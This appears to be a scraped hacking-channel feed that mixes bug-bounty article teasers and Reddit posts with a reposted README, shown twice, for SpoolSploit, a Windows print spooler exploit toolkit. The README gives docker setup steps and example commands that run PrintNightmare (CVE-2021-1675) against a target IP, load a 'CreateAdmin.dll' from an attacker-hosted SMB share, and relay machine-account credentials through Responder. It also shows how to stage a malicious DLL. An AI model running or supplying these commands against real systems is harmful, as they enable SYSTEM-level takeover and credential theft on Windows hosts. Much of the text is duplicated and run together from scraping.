Content Discovery TryHackme
https://mukibas37.medium.com/content-discovery-tryhackme-3254015ccd11?source=rss------bug_bounty-5

Hi, amazing fellow hackers I came up with an interesting topic web content discovery. It is useful in bug bounty and the most important…Continue reading on Medium » (https://mukibas37.medium.com/content-discovery-tryhackme-3254015ccd11?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Need help finding someone

submitted by /u/Destined2BVictorious
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
World improvement paper 4 ‘wip4’ #privacy

Hello, here are suggestions to improve national privacy in the light of all these hacks and data breaches around the world. Some of these…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

SpoolSploit - A Collection Of Windows Print Spooler Exploits Containerized With Other Utilities For Practical Exploitation
http://www.kitploit.com/2021/10/spoolsploit-collection-of-windows-print.html

___________________________
@hacking_Attack
@Hacking_Video

A collection of Windows print spooler exploits containerized with other utilities for practical exploitation.
Summary
SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation. A couple of highly effective methods would be relaying machine account credentials (https://www.kitploit.com/search/label/Credentials) to escalate privileges and execute malicious DLLs on endpoints (https://www.kitploit.com/search/label/Endpoints) with full system access. 

___________________________
@hacking_Attack
@Hacking_Video

Getting Started
As of the release date the SpoolSploit Docker container (https://www.kitploit.com/search/label/Container) has been tested successfully on the latest versions of MacOS, Ubuntu Linux, and Windows 10.Although not required, if you would like to host malicious DLLs or conduct credential relay attacks, all within the SpoolSploit container, you should ensure port 445 is not in use on the host running Docker. This is most prevalent when running this container on a Windows host, as it uses port 445 by default. If disabling port 445 on your host is not practical, that is okay! You can simply run the docker container in a virtual machine (https://www.kitploit.com/search/label/Virtual%20Machine) that has the network adapter configured in bridge mode. This will allow for serving malicious DLLs and relay credentials. If you only want to serve malicious DLLs, you could simply host the DLLs on an anonymous access share on your host OS or a compromised server share.
Create and access the SpoolSploit Docker container
Clone this repositorygit clone https://github.com/BeetleChunks/SpoolSploit
Build the SpoolSploit Docker container imagecd SpoolSploit
sudo docker build -t spoolsploit .
Create and start the SpoolSploit Docker containersudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest
Attach to the containersudo docker exec -it spoolsploit /bin/bash

Command-line Usage
) -rP {139,445}, --rport {139,445} Remote SMB server port. -lH LHOST, --lhost LHOST Listening hostname or IP -lS LSHARE, --lshare LSHARE Staging SMB share (UNC) -d DOMAIN, --domain DOMAIN Domain for authentication -u USER, --username USER Username for authentication -p PASSWD, --password PASSWD Password for authentication Example - spoolsample: python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10 Example - nightmare: python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10 ">usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD

optional arguments:
-h, --help show this help message and exit
-a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
Attack type to execute on target(s).
-rH RHOST, --rhost RHOST
Remote target IP, CIDR range, or filename (file:)
-rP {139,445}, --rport {139,445}
Remote SMB server port.
-lH LHOST, --lhost LHOST
Listening hostname or IP
-lS LSHARE, --lshare LSHARE
Staging SMB share (UNC)
-d DOMAIN, --domain DOMAIN
Domain for authentication
-u USER, --username USER
Username for authentication
-p PASSWD, --password PASSWD
Password for authentication

Example - spoolsample:
python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10

Example - nightmare:
python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10

SpoolSample - Capture and relay Windows machine account credentials
The SpoolSploit Docker container includes Responder (https://github.com/lgandx/Responder) for relaying machine account hashes obtained from executing the spoolsample attack in SpoolSploit. As several great articles exist detailing the process of relaying privileged machine account credentials for privilege escalation, I will not go into those details here.

___________________________
@hacking_Attack
@Hacking_Video

PrintNightmare (CVE-2021-1675) - Execute malicious DLLs on Windows targets as SYSTEM
Included in the SpoolSploit container is an SMB server implemented via Impacket (https://github.com/SecureAuthCorp/impacket). This server can be used to host malicious DLLs when executing the printnightmare attack in SpoolSploit. The default SMB server settings work, but if you want to customize them you can modify the configuration file located at /home/dlogmas/smbserver/smb-v1.conf.The only thing you need to do is copy your DLL to the SMB server's share folder in the SpoolSploit container. The share path in the container is /home/dlogmas/smbserver/share/. The following commands demonstrate how to upload a DLL to the SpoolSploit container and make it accessible to the SMB server.sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'

___________________________
@hacking_Attack
@Hacking_Video

Disclaimer
This proof-of-concept code has been created for academic research and is not intended to be used against systems except where explicitly authorized. The code is provided as is with no guarantees or promises on its execution. I am not responsible or liable for misuse of this code.
Credits

SpoolSample - Microsoft (https://www.kitploit.com/search/label/Microsoft) Feature
leechristensen (https://github.com/leechristensen/SpoolSample) discovered the SpoolSample exploit and created a C# POC SpoolSample (https://github.com/leechristensen/SpoolSample/tree/master/SpoolSample)3xocyte (https://gist.github.com/3xocyte) created a Python2 SpoolSample POC dementor (https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#file-dementor-py).
PrintNightmare - CVE-2021-1675 / CVE-2021-34527
cube0x0 (https://github.com/cube0x0) created Python PrintNightmare exploit after implementing the MS-PAR & MS-RPRN protocols and API calls in Impacket (https://github.com/SecureAuthCorp/impacket).Zhiniang Peng (https://twitter.com/edwardzpeng) & Xuefeng Li (https://twitter.com/lxf02942370) discovered this exploit.

Download SpoolSploit (https://github.com/BeetleChunks/SpoolSploit)

___________________________
@hacking_Attack
@Hacking_Video

Stored XSS: Non-Privileged User to Anyone Using QR Code
https://sapt.medium.com/stored-xss-non-privileged-user-to-anyone-using-qr-code-dfeb0bd98a5?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello guys👋👋 ,Prajit here from the BUG XS Team , recently I got a valid Stored XSS-P2 via QR Code on a Bugcrowd private program, in this…Continue reading on Medium » (https://sapt.medium.com/stored-xss-non-privileged-user-to-anyone-using-qr-code-dfeb0bd98a5?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

My first valid bug of hackerone
https://medium.com/@jagannathrajput2003/my-first-valid-bug-of-hackerone-2fab84e05a2c?source=rss------bug_bounty-5

Hi my name is jagannath mohanty .i want to tell you my first bug of hackerone firstly in starting i got many duplicate at least 25 or more…Continue reading on Medium » (https://medium.com/@jagannathrajput2003/my-first-valid-bug-of-hackerone-2fab84e05a2c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
SpoolSploit - A Collection Of Windows Print Spooler Exploits Containerized With Other Utilities For Practical Exploitation

https://1.bp.blogspot.com/-RH9Wnu2YiuQ/YVi9OZW06YI/AAAAAAAAvWg/V0vRolVeGJAW1XjzaLGce7zf532DLrrQACNcBGAsYHQ/w640-h390/SpoolSploit_1_SpoolSploit-Usage.png A collection of Windows print spooler exploits containerized with other utilities for practical exploitation. SummarySpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation. A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicious DLLs on endpoints with full system access. https://1.bp.blogspot.com/-RH9Wnu2YiuQ/YVi9OZW06YI/AAAAAAAAvWg/V0vRolVeGJAW1XjzaLGce7zf532DLrrQACNcBGAsYHQ/w640-h390/SpoolSploit_1_SpoolSploit-Usage.png Getting StartedAs of the release date the SpoolSploit Docker container has been tested successfully on the latest versions of MacOS, Ubuntu Linux, and Windows 10.

Although not required, if you would like to host malicious DLLs or conduct credential relay attacks, all within the SpoolSploit container, you should ensure port 445 is not in use on the host running Docker. This is most prevalent when running this container on a Windows host, as it uses port 445 by default. If disabling port 445 on your host is not practical, that is okay! You can simply run the docker container in a virtual machine that has the network adapter configured in bridge mode. This will allow for serving malicious DLLs and relay credentials. If you only want to serve malicious DLLs, you could simply host the DLLs on an anonymous access share on your host OS or a compromised server share. Create and access the SpoolSploit Docker container1. Clone this repository git clone https://github.com/BeetleChunks/SpoolSploit 1. Build the SpoolSploit Docker container image cd SpoolSploit
sudo docker build -t spoolsploit . 1. Create and start the SpoolSploit Docker container sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest 1. Attach to the container sudo docker exec -it spoolsploit /bin/bash Command-line Usageusage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD

optional arguments:
-h, --help show this help message and exit
-a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
Attack type to execute on target(s).
-rH RHOST, --rhost RHOST
Remote target IP, CIDR range, or filename (file:SpoolSample - Capture and relay Windows machine account credentialsThe SpoolSploit Docker container includes Responder for relaying machine account hashes obtained from executing the spoolsampleattack in SpoolSploit. As several great articles exist detailing the process of relaying privileged machine account credentials for privilege escalation, I will not go into those details here. https://1.bp.blogspot.com/-9iR_vZDcp-8/YVi9c9w_qrI/AAAAAAAAvWk/conVpwxj6zgRd1O4kRGrz-e5xu3jTjLLgCNcBGAsYHQ/w640-h522/SpoolSploit_[...]

___________________________
@hacking_Attack
@Hacking_Video

2_SpoolSample.gif PrintNightmare (CVE-2021-1675) - Execute malicious DLLs on Windows targets as SYSTEMIncluded in the SpoolSploit container is an SMB server implemented via Impacket. This server can be used to host malicious DLLs when executing the printnightmareattack in SpoolSploit. The default SMB server settings work, but if you want to customize them you can modify the configuration file located at /home/dlogmas/smbserver/smb-v1.conf.

The only thing you need to do is copy your DLL to the SMB server's share folder in the SpoolSploit container. The share path in the container is /home/dlogmas/smbserver/share/. The following commands demonstrate how to upload a DLL to the SpoolSploit container and make it accessible to the SMB server. sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll' https://1.bp.blogspot.com/-IqUvx7SXavM/YVi9igITTRI/AAAAAAAAvWs/9nikcO6EzWcW7r2BBW6nLGx3obnPjHIDgCNcBGAsYHQ/w640-h522/SpoolSploit_3_PrintNightmare.gif DisclaimerThis proof-of-concept code has been created for academic research and is not intended to be used against systems except where explicitly authorized. The code is provided as is with no guarantees or promises on its execution. I am not responsible or liable for misuse of this code. CreditsSpoolSample - Microsoft Feature* leechristensen discovered the SpoolSample exploit and created a C# POC SpoolSample
* 3xocyte created a Python2 SpoolSample POC dementor. PrintNightmare - CVE-2021-1675 / CVE-2021-34527* cube0x0 created Python PrintNightmare exploit after implementing the MS-PAR & MS-RPRN protocols and API calls in Impacket.
* Zhiniang Peng & Xuefeng Li discovered this exploit. Download SpoolSploit

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Bug Bounty CTF as a Bank/Financial infrastructure

I know this is off the topic from this subreddit but I have an interesting question to ask. So I was wondering about making a Bank/Financial system based on Bug Bounty for fun. And I am interested in your life scenario if u had one. Just the concept of what can be implemented or what kind of "vulnerabilities" and "exploits" can be implemented to make the CTF interesting. Thank you in advance.

submitted by /u/rubenamizyan
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video